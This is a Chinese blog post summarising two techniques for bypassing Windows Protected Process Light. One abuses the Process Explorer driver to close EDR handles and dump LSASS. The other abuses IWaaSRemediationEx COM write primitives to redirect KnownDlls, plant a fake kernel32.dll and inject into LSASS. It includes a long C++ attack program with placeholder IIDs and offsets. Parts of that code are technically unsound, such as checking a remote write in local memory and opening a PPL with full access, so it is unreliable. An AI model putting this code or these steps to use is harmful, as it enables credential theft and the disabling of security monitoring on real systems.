PPL Attack

前言

最近也是学到了ppl这一块了,虽然我C++学的比较垃圾(所以下面文章中有错误的地方请大佬们指正),对系统编程也是处于一知半解的状态,但是由于我找到的视频资源也是比较老了,上面的东西除了ppl原理,绕过这块大概率已经是没用了。然后免杀嘛,学了后面忘前面,实战半天出不了成果,不如github上随便找个低星项目搞混淆直接丢上去来得实在和有用。但是还是想找找东西学学,于是看了点国内社区的文章,要么都比较老了,要么提到的工具已经没用了。然后就去看英文的文章了,所以下面会分别贴上原文和翻译(就当是我翻的)。

参考文献

[Windows Internals] Bypass Protected Process Light / ObRegisterCallbacks using Process Explorer - Waawaa Blog

Bypassing PPL in Userland (again) – SCRT Team Blog

翻译链接

【翻译】[Windows Internals] Bypass Protected Process Light / ObRegisterCallbacks using Process Explorer · 语雀

【翻译】再次在用户态绕过PPL(受保护进程) · 语雀

利用Process Explorer绕过受保护进程(PPL)和对象回调(ObRegisterCallbacks)

原文原理总结

在第一篇文章中,作者通过Process Explorer的一些功能特性,获取高权限来关闭ppl进程。Process Explorer本身有读取进程ppl信息的功能,虽然相关信息存储在peb中,但即使有管理员权限也不能读取到相关信息,软件本身通过了驱动 PROCEXP152 与内核通信才读取到了进程的ppl信息,驱动PROCEXP152通过IOCTL 代码 0x3C 获取 PPL 进程的 PROCESS_ALL_ACCESS 句柄,不仅可以获取进程信息,还可以终止句柄。

原作者没有提到IOCTL是啥东西,我就在这里简单解释一下。Windows用户态程序无法直接调用内核函数或访问内核内存。为实现通信,驱动需先通过IoCreateDevice在内核对象管理器命名空间(\Device\ProcExp152)创建设备对象。由于用户态默认无法访问\Device\路径,需再调用IoCreateSymbolicLink将其映射到全局DOS设备命名空间(\\.\ProcExp152),用户态程序即可通过此路径打开设备句柄。当用户态调用DeviceIoControl时:

  1. 系统生成IRP请求并发送至驱动
  2. 驱动在DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL]回调函数中解析IOCTL
  3. 驱动执行对应操作(如修改进程内存)后返回结果

总体来讲就是通过合法IOCTL来绕过ppl

利用

https://github.com/waawaa/breakcyserver

工具自带所需驱动,跑一下就行。阅读源码发现工具进行了以下的操作尝试

  • 通过\\\\.\\PROCEXP152设备与Process Explorer驱动程序交互
  • 枚举系统句柄表,查找属于目标进程的句柄
  • 关闭"File"和"ALPC Port"类型的句柄,这可以破坏EDR/AV的监控能力
  • 使用自定义的MiniDump实现转储LSASS进程内存
  • 将转储保存为C:\\Users\\vm1\\Desktop\\lsass.dmp(需指定pid)
  • 尝试利用窃取令牌来提权(这一步被注释了)

再次在用户态绕过PPL(受保护进程)

接下来我们看第二篇,为什么说是再次呢,文章作者同时也是ppldump(2022)的作者,这个工具已经不能用了,同时他貌似在2021年的时候发了一个ppldump的前身。这个利用过程比较复杂,核心就是利用了IWaaSRemediationEx接口的两个方法(LaunchDetectionOnly和LaunchRemediationOnly)能够改写内存空间的特性,修改ntdll!LdrpKnownDllDirectoryHandle这一内存地址的值,使其指向\BaseNamedObjects的对象目录句柄,从而诱导PPL进程加载攻击者控制的DLL,最终实现代码注入。原理看似很简单,但实现起来就非常复杂了,IWaaSRemediationEx接口改写内存空间的功能只是他的副产品,由于堆空间的随机分配,实际操作过程中需要不断尝试对齐,利用LaunchDetectionOnly和LaunchRemediationOnly生成适合的内存地址的值去进行覆盖,接下来是具体解释。

LaunchDetectionOnly和LaunchRemediationOnly

LaunchDetectionOnly

功能与行为
  • 调用方式
    • LaunchDetectionOnly是一个COM方法,攻击者通过创建IWaaSRemediationEx对象并传递参数调用它。
    • 该方法内部调用了SysAllocString,这是一个Windows API,用于分配并返回BSTR(基本字符串)的内存地址。
  • 内存操作
    • 调用完成后,LaunchDetectionOnly会将SysAllocString返回的堆地址写入攻击者指定的内存位置。
    • 例如,假设攻击者指定目标地址为ntdll!LdrpKnownDllDirectoryHandle,方法会将堆分配的地址写入此处。
  • 输出特性
    • 返回的堆地址是一个8字节值(在64位系统中),其内容由堆分配器决定。
    • 堆地址通常遵循对齐规则(如8字节对齐),且包含随机字节,但可能偶然包含攻击者需要的特定值。
    • 示例输出可能为:0x54 73 de fa 01 00 00 00,其中0x54恰好是\BaseNamedObjects句柄的值,但其余字节(如73 de fa 01)是不可控的随机数据。

LaunchRemediationOnly

功能与行为
  • 调用方式
    • 与LaunchDetectionOnly类似,LaunchRemediationOnly通过COM接口调用,攻击者指定目标写入地址。
  • 内存操作
    • 该方法写入一个固定的16字节模式到指定位置。
    • 示例模式:17 00 ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ??。
      • 17 00:固定前缀。
      • ?? ?? ?? ?? ?? ??:不可控字节(随机数据)。
      • 00 00 00 00:连续4个零字节。
      • ?? ?? ?? ??:不可控后缀。
  • 输出特性
    • 写入模式中的00 00 00 00是关键,因为它可以覆盖不需要的随机数据。
    • 例如,若目标地址已有数据0x54 73 de fa 01 00 00 00,在适当偏移写入此模式可清理多余字节。

第一步写入:调用LaunchDetectionOnly

目标与操作

  • 目的:将包含目标句柄值低位字节0x54(对应\BaseNamedObjects句柄)的堆地址写入ntdll!LdrpKnownDllDirectoryHandle。
  • 方法:调用IWaaSRemediationEx接口的LaunchDetectionOnly方法,通过其内部对SysAllocString的调用生成一个堆地址,并将其写入指定位置。
  • 实现
    • 攻击者实例化IWaaSRemediationEx对象后,调用LaunchDetectionOnly,并将LdrpKnownDllDirectoryHandle的地址作为参数传递。
    • 示例伪代码:
  IWaaSRemediationEx* pRemediation;
void* target = &LdrpKnownDllDirectoryHandle;
pRemediation->LaunchDetectionOnly(target, ...);

结果分析

  • 输出:SysAllocString返回的堆地址是一个8字节值,例如0x54 73 de fa 01 00 00 00。
    • 0x54:目标句柄值的低位字节,偶然匹配\BaseNamedObjects的句柄。
    • 73 de fa 01 00 00 00:堆地址的其余部分,由堆分配器随机生成。
  • 意义
    • 这一步成功将0x54写入目标地址的低位,但高位字节不可控,必须通过后续步骤清理。

技术细节

  • 堆地址来源:堆分配器(如Windows的NT Heap)在进程运行时动态分配内存,地址值受系统状态影响。
  • 句柄匹配:句柄值从0x04开始以4递增,\BaseNamedObjects作为早期创建的对象,其值通常较小(如0x54),可能出现在堆地址低位。

第二步清理:调用LaunchRemediationOnly

目标与操作

  • 目的:利用LaunchRemediationOnly的固定写入模式,清理第一步中不可控的随机字节,将LdrpKnownDllDirectoryHandle的高位字节重置为零。
  • 方法:调用LaunchRemediationOnly,指定写入位置为LdrpKnownDllDirectoryHandle - 7,使其固定模式中的00 00 00 00覆盖目标地址的高位。
  • 实现
    • 攻击者计算偏移地址并调用:
void* target = &LdrpKnownDllDirectoryHandle - 7;
pRemediation->LaunchRemediationOnly(target, ...);

结果分析

  • 写入模式:LaunchRemediationOnly写入16字节固定模式:
    • 示例:17 00 ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ??。
      • 17 00:固定前缀。
      • ?? ?? ?? ?? ?? ??:随机字节。
      • 00 00 00 00:关键的连续零字节。
      • ?? ?? ?? ??:随机后缀。
  • 内存布局
    • 假设第一步后LdrpKnownDllDirectoryHandle为0x54 73 de fa 01 00 00 00。
    • 在LdrpKnownDllDirectoryHandle - 7写入后:
[LdrpKnownDllDirectoryHandle - 7] -> 17 00 ?? ?? ?? ?? ?? ??
[LdrpKnownDllDirectoryHandle] -> 00 00 00 00 ?? ?? ?? ??

技术细节

  • 偏移选择:-7的偏移基于模式中00 00 00 00的位置(第9至12字节),使其对齐到目标地址。
  • 覆盖范围:16字节模式覆盖LdrpKnownDllDirectoryHandle及其前后内存,需确保不干扰关键数据。

最终调整:构造完整句柄值

目标与操作

  • 目的:确保LdrpKnownDllDirectoryHandle最终值为0x54 00 00 00 00 00 00 00,即\BaseNamedObjects的完整句柄。
  • 方法:通过第一步和第二步的组合,调整内存状态,使0x54与00 00 00 00正确对齐。
  • 实现
    • 第一步写入0x54 73 de fa 01 00 00 00。
    • 第二步在-7偏移写入模式,覆盖高位。
    • 理想结果:
[LdrpKnownDllDirectoryHandle - 7] -> 17 00 ?? ?? ?? ?? ?? ??
[LdrpKnownDllDirectoryHandle] -> 00 00 00 00 54 00 00 00

结果分析

  • 期望状态:0x54保留在低位,高位全为0。
  • 调整需求
    • 如果第二步覆盖了0x54,需先写入模式,再用LaunchDetectionOnly补写0x54。
    • 示例调整:
      1. LaunchRemediationOnly写入00 00 00 00。
      2. LaunchDetectionOnly在正确偏移补写0x54。

在\BaseNamedObjects中植入恶意DLL

  • 目标:在\BaseNamedObjects目录中创建伪造的DLL文件,伪装为系统所需的已知DLL。
  • 操作
    • 攻击者以管理员权限创建文件对象,路径为\BaseNamedObjects\<DLL名称>。
    • 常用伪装目标包括kernel32.dll、ntdll.dll等,因为这些DLL常被PPL进程加载。
    • 示例代码(使用Windows API):
  HANDLE hFile = CreateFileW(
L"\\BaseNamedObjects\\kernel32.dll",
 GENERIC_WRITE,
0,
NULL,
 CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL
);
WriteFile(hFile, malicious_dll_data, dll_size, &bytesWritten, NULL);
CloseHandle(hFile);
  • 恶意DLL内容
    • DLL包含攻击者定义的代码,通常在DllMain函数中执行恶意逻辑。
    • 示例伪代码
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){
if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
// 执行恶意代码,例如提取内存凭据
MessageBox(NULL, L"Injected!", L"Success", MB_OK);
 }
return TRUE;
}
  • 技术细节
    • 文件创建需使用\BaseNamedObjects的全路径,借助NtCreateFile或类似API。
    • DLL必须符合PE(Portable Executable)格式,确保系统加载器接受。

触发PPL进程加载DLL

  • 目标:使PPL进程(如LSASS)尝试加载已知DLL,从而读取\BaseNamedObjects中的恶意文件。
  • 操作
    • 自然触发
      • PPL进程在运行时可能动态加载DLL(如调用LoadLibrary)。
      • 修改后的LdrpKnownDllDirectoryHandle会引导加载器检查\BaseNamedObjects。
    • 主动触发
      • 攻击者可通过外部调用(如CreateRemoteThread结合LoadLibrary)强制PPL进程加载特定DLL。
      • 示例代码:
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ppl_pid);
LPVOID remoteAddr = VirtualAllocEx(hProcess, NULL, dll_path_size, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, remoteAddr, L"\\BaseNamedObjects\\kernel32.dll", dll_path_size, NULL);
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibraryW, remoteAddr, 0, NULL);

代码实现

#include <windows.h>
#include <comdef.h>
#include <iostream>
#include <string>

// 定义IWaaSRemediationEx接口(假设的IID和方法签名,需根据实际逆向调整)
MIDL_INTERFACE("XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX") // 替换为真实的IID
IWaaSRemediationEx : public IUnknown {
public:
    virtual HRESULT STDMETHODCALLTYPE LaunchDetectionOnly(void* target, void** result) = 0;
    virtual HRESULT STDMETHODCALLTYPE LaunchRemediationOnly(void* target) = 0;
};

// CLSID_WaaSRemediationEx(假设值,需从系统逆向获取)
const CLSID CLSID_WaaSRemediationEx = { /* 替换为真实的CLSID */ };

// 获取ntdll!LdrpKnownDllDirectoryHandle地址(需动态解析)
void* GetLdrpKnownDllDirectoryHandle() {
    HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
    if (!hNtdll) {
        std::wcerr << L"Failed to load ntdll.dll" << std::endl;
        return nullptr;
    }
    // 假设通过符号解析或偏移获取,实际需调试器确认
    return (void*)((BYTE*)hNtdll + 0x123456); // 替换为真实偏移
}

// 创建恶意DLL文件
bool CreateMaliciousDll(const wchar_t* path) {
    // 简单示例:创建一个显示消息框的DLL
    const BYTE dllData[] = { /* PE格式的DLL二进制数据 */ };
    HANDLE hFile = CreateFileW(
        path,
        GENERIC_WRITE,
        0,
        NULL,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL
    );
    if (hFile == INVALID_HANDLE_VALUE) {
        std::wcerr << L"Failed to create DLL file: " << GetLastError() << std::endl;
        return false;
    }
    DWORD bytesWritten;
    WriteFile(hFile, dllData, sizeof(dllData), &bytesWritten, NULL);
    CloseHandle(hFile);
    return true;
}

// 主函数
int wmain() {
    HRESULT hr;

    // 初始化COM
    hr = CoInitialize(NULL);
    if (FAILED(hr)) {
        std::wcerr << L"COM initialization failed: " << hr << std::endl;
        return 1;
    }

    // 获取LdrpKnownDllDirectoryHandle地址
    void* ldrpHandle = GetLdrpKnownDllDirectoryHandle();
    if (!ldrpHandle) {
        std::wcerr << L"Failed to locate LdrpKnownDllDirectoryHandle" << std::endl;
        CoUninitialize();
        return 1;
    }
    std::wcout << L"LdrpKnownDllDirectoryHandle at: " << ldrpHandle << std::endl;

    // 创建IWaaSRemediationEx实例
    IWaaSRemediationEx* pRemediation = nullptr;
    hr = CoCreateInstance(
        CLSID_WaaSRemediationEx,
        NULL,
        CLSCTX_LOCAL_SERVER,
        __uuidof(IWaaSRemediationEx),
        (void**)&pRemediation
    );
    if (FAILED(hr)) {
        std::wcerr << L"Failed to create IWaaSRemediationEx: " << hr << std::endl;
        CoUninitialize();
        return 1;
    }

    // 第一步:利用LaunchDetectionOnly写入包含0x54的地址
    void* result = nullptr;
    do {
        hr = pRemediation->LaunchDetectionOnly(ldrpHandle, &result);
        if (FAILED(hr)) {
            std::wcerr << L"LaunchDetectionOnly failed: " << hr << std::endl;
            pRemediation->Release();
            CoUninitialize();
            return 1;
        }
        std::wcout << L"LaunchDetectionOnly result: " << std::hex << *(ULONGLONG*)ldrpHandle << std::endl;
    } while ((*(BYTE*)ldrpHandle & 0xFF) != 0x54); // 检查低位字节是否为0x54

    // 第二步:利用LaunchRemediationOnly清理高位
    void* offsetTarget = (BYTE*)ldrpHandle - 7; // 偏移-7对齐00 00 00 00
    hr = pRemediation->LaunchRemediationOnly(offsetTarget);
    if (FAILED(hr)) {
        std::wcerr << L"LaunchRemediationOnly failed: " << hr << std::endl;
        pRemediation->Release();
        CoUninitialize();
        return 1;
    }
    std::wcout << L"After LaunchRemediationOnly: " << std::hex << *(ULONGLONG*)ldrpHandle << std::endl;

    // 验证最终值
    ULONGLONG finalValue = *(ULONGLONG*)ldrpHandle;
    if ((finalValue & 0xFFFFFFFFFFFFFF00) == 0 && (finalValue & 0xFF) == 0x54) {
        std::wcout << L"Successfully set LdrpKnownDllDirectoryHandle to 0x54" << std::endl;
    } else {
        std::wcerr << L"Failed to construct target value: " << std::hex << finalValue << std::endl;
        pRemediation->Release();
        CoUninitialize();
        return 1;
    }

    // 第三步:在\BaseNamedObjects中创建恶意DLL
    const wchar_t* dllPath = L"\\BaseNamedObjects\\kernel32.dll";
    if (!CreateMaliciousDll(dllPath)) {
        pRemediation->Release();
        CoUninitialize();
        return 1;
    }
    std::wcout << L"Malicious DLL created at: " << dllPath << std::endl;

    // 第四步:触发PPL进程加载DLL(以LSASS为例)
    DWORD pid = 1234; // 替换为目标PPL进程的PID(如LSASS)
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProcess) {
        std::wcerr << L"Failed to open PPL process: " << GetLastError() << std::endl;
        pRemediation->Release();
        CoUninitialize();
        return 1;
    }

    LPVOID remoteAddr = VirtualAllocEx(hProcess, NULL, wcslen(dllPath) * 2 + 2, MEM_COMMIT, PAGE_READWRITE);
    if (!remoteAddr) {
        std::wcerr << L"VirtualAllocEx failed: " << GetLastError() << std::endl;
        CloseHandle(hProcess);
        pRemediation->Release();
        CoUninitialize();
        return 1;
    }

    WriteProcessMemory(hProcess, remoteAddr, dllPath, wcslen(dllPath) * 2 + 2, NULL);
    HANDLE hThread = CreateRemoteThread(
        hProcess,
        NULL,
        0,
        (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "LoadLibraryW"),
        remoteAddr,
        0,
        NULL
    );
    if (!hThread) {
        std::wcerr << L"CreateRemoteThread failed: " << GetLastError() << std::endl;
    } else {
        std::wcout << L"DLL injection triggered successfully" << std::endl;
        WaitForSingleObject(hThread, INFINITE);
        CloseHandle(hThread);
    }

    // 清理
    VirtualFreeEx(hProcess, remoteAddr, 0, MEM_RELEASE);
    CloseHandle(hProcess);
    pRemediation->Release();
    CoUninitialize();

    return 0;
}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值